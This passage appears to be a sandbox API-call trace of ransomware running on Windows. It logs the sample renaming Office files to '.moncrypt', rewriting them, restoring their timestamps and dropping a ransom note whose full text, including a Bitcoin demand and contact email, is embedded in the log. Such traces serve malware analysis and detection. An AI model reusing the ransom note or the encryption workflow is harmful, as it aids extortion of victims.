cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.967] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.967] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.967] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.967] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt흘\x18\x06") returned 34 [0047.967] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", cchWideChar=110, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpUsedDefaultChar=0x0) returned 110 [0047.967] CharLowerBuffW (in: lpsz=".XML", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0047.967] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpUsedDefaultChar=0x0) returned 4 [0047.967] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0047.967] WriteFile (in: hFile=0x190, lpBuffer=0x1e61db8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61db8*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0047.968] CloseHandle (hObject=0x190) returned 1 [0047.968] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\я")) returned 1 [0047.969] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e345a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.XML", cAlternateFileName="INFOPA~1.XML")) returned 0x54e280 [0047.969] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0047.969] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0047.969] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0047.969] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", dwFileAttributes=0x20) returned 1 [0047.970] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0047.970] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.moncrypt")) returned 1 [0047.970] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0047.971] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0047.971] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x4cf [0047.971] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0047.971] ReadFile (in: hFile=0x190, lpBuffer=0x1e2a888, nNumberOfBytesToRead=0x4cf, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1e2a888*, lpNumberOfBytesRead=0x18e3b4*=0x4cf, lpOverlapped=0x0) returned 1 [0047.972] GlobalLock (hMem=0x440004) returned 0x555568 [0047.972] GlobalLock (hMem=0x44000c) returned 0x557578 [0047.972] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.973] GlobalUnlock (hMem=0x440004) returned 0 [0047.973] GlobalHandle (pMem=0x557578) returned 0x44000c [0047.973] GlobalUnlock (hMem=0x44000c) returned 0 [0047.973] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.973] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.973] GlobalUnlock (hMem=0x44000c) returned 0 [0047.983] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0047.983] SetFileTime (hFile=0x190, lpCreationTime=0x18e454, lpLastAccessTime=0x18e44c, lpLastWriteTime=0x18e444) returned 1 [0047.983] CloseHandle (hObject=0x190) returned 1 [0047.983] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.moncrypt", dwFileAttributes=0x20) returned 1 [0047.984] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18d6e8, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT䱍") returned 34 [0047.984] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.984] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.984] GlobalUnlock (hMem=0x44000c) returned 0 [0047.984] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.984] GlobalLock (hMem=0x440004) returned 0x557578 [0047.984] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.984] GlobalUnlock (hMem=0x44000c) returned 0 [0047.984] GlobalHandle (pMem=0x557578) returned 0x440004 [0047.984] GlobalUnlock (hMem=0x440004) returned 0 [0047.984] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0047.984] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e49c | out: lpFindFileData=0x18e49c*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557578, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e69970, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0047.984] GetLastError () returned 0x2 [0047.984] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0047.986] WriteFile (in: hFile=0x190, lpBuffer=0x1dcc068*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e6a4, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesWritten=0x18e6a4*=0x649, lpOverlapped=0x0) returned 1 [0047.987] CloseHandle (hObject=0x190) returned 1 [0047.987] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0047.987] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0047.987] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0047.987] GlobalLock (hMem=0x440004) returned 0x555568 [0047.987] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.987] GlobalUnlock (hMem=0x440004) returned 0 [0047.987] GlobalLock (hMem=0x440004) returned 0x555568 [0047.987] GlobalLock (hMem=0x44000c) returned 0x557578 [0047.987] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.987] GlobalUnlock (hMem=0x440004) returned 0 [0047.987] GlobalHandle (pMem=0x557578) returned 0x44000c [0047.987] GlobalUnlock (hMem=0x44000c) returned 0 [0047.987] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.988] CharLowerBuffW (in: lpsz="SETUP.XML", cchLength=0x9 | out: lpsz="setup.xml") returned 0x9 [0047.988] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.988] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.988] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.988] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.988] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.988] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.988] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.988] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.988] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.988] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT䱍") returned 34 [0047.988] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", cchWideChar=104, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XMLX", lpUsedDefaultChar=0x0) returned 104 [0047.988] CharLowerBuffW (in: lpsz=".XML", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0047.988] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XMLX", lpUsedDefaultChar=0x0) returned 4 [0047.988] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0x54e280 [0047.988] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0047.988] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0047.988] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0047.989] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", dwFileAttributes=0x20) returned 1 [0047.989] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0047.989] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.moncrypt")) returned 1 [0047.990] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0047.990] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0047.990] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x73c [0047.990] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0047.990] ReadFile (in: hFile=0x190, lpBuffer=0x1dbe1c8, nNumberOfBytesToRead=0x73c, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesRead=0x18e3b4*=0x73c, lpOverlapped=0x0) returned 1 [0047.992] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.992] GlobalLock (hMem=0x440004) returned 0x557578 [0047.992] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.992] GlobalUnlock (hMem=0x44000c) returned 0 [0047.992] GlobalHandle (pMem=0x557578) returned 0x440004 [0047.992] GlobalUnlock (hMem=0x440004) returned 0 [0047.992] GlobalLock (hMem=0x440004) returned 0x555568 [0047.992] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.992] GlobalUnlock (hMem=0x440004) returned 0 [0048.002] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.002] SetFileTime (hFile=0x190, lpCreationTime=0x18e454, lpLastAccessTime=0x18e44c, lpLastWriteTime=0x18e444) returned 1 [0048.003] CloseHandle (hObject=0x190) returned 1 [0048.003] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.moncrypt", dwFileAttributes=0x20) returned 1 [0048.003] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18d6e8, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT䱍") returned 34 [0048.003] GlobalLock (hMem=0x440004) returned 0x555568 [0048.003] GlobalHandle (pMem=0x555568) returned 0x440004 [0048.003] GlobalUnlock (hMem=0x440004) returned 0 [0048.003] GlobalLock (hMem=0x440004) returned 0x555568 [0048.003] GlobalLock (hMem=0x44000c) returned 0x557578 [0048.003] GlobalHandle (pMem=0x555568) returned 0x440004 [0048.003] GlobalUnlock (hMem=0x440004) returned 0 [0048.003] GlobalHandle (pMem=0x557578) returned 0x44000c [0048.003] GlobalUnlock (hMem=0x44000c) returned 0 [0048.003] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0048.004] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e49c | out: lpFindFileData=0x18e49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de16a60, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3de16a60, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3de16a60, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e280 [0048.004] FileTimeToLocalFileTime (in: lpFileTime=0x18e4b0, lpLocalFileTime=0x18e430 | out: lpLocalFileTime=0x18e430) returned 1 [0048.004] FileTimeToDosDateTime (in: lpFileTime=0x18e430, lpFatDate=0x18e47e, lpFatTime=0x18e47c | out: lpFatDate=0x18e47e, lpFatTime=0x18e47c) returned 1 [0048.004] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0048.004] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.004] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.004] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x649 [0048.004] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.004] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.004] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x649 [0048.004] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.004] ReadFile (in: hFile=0x190, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e6a8, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18e6a8*=0x649, lpOverlapped=0x0) returned 1 [0048.004] CloseHandle (hObject=0x190) returned 1 [0048.005] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0048.005] GetLastError () returned 0x12 [0048.005] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0048.005] GlobalLock (hMem=0x44000c) returned 0x555568 [0048.005] GlobalHandle (pMem=0x555568) returned 0x44000c [0048.005] GlobalUnlock (hMem=0x44000c) returned 0 [0048.005] GlobalLock (hMem=0x44000c) returned 0x555568 [0048.005] GlobalLock (hMem=0x440004) returned 0x557578 [0048.005] GlobalHandle (pMem=0x555568) returned 0x44000c [0048.005] GlobalUnlock (hMem=0x44000c) returned 0 [0048.005] GlobalHandle (pMem=0x557578) returned 0x440004 [0048.005] GlobalUnlock (hMem=0x440004) returned 0 [0048.005] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*.*", lpFindFileData=0x18e824 | out: 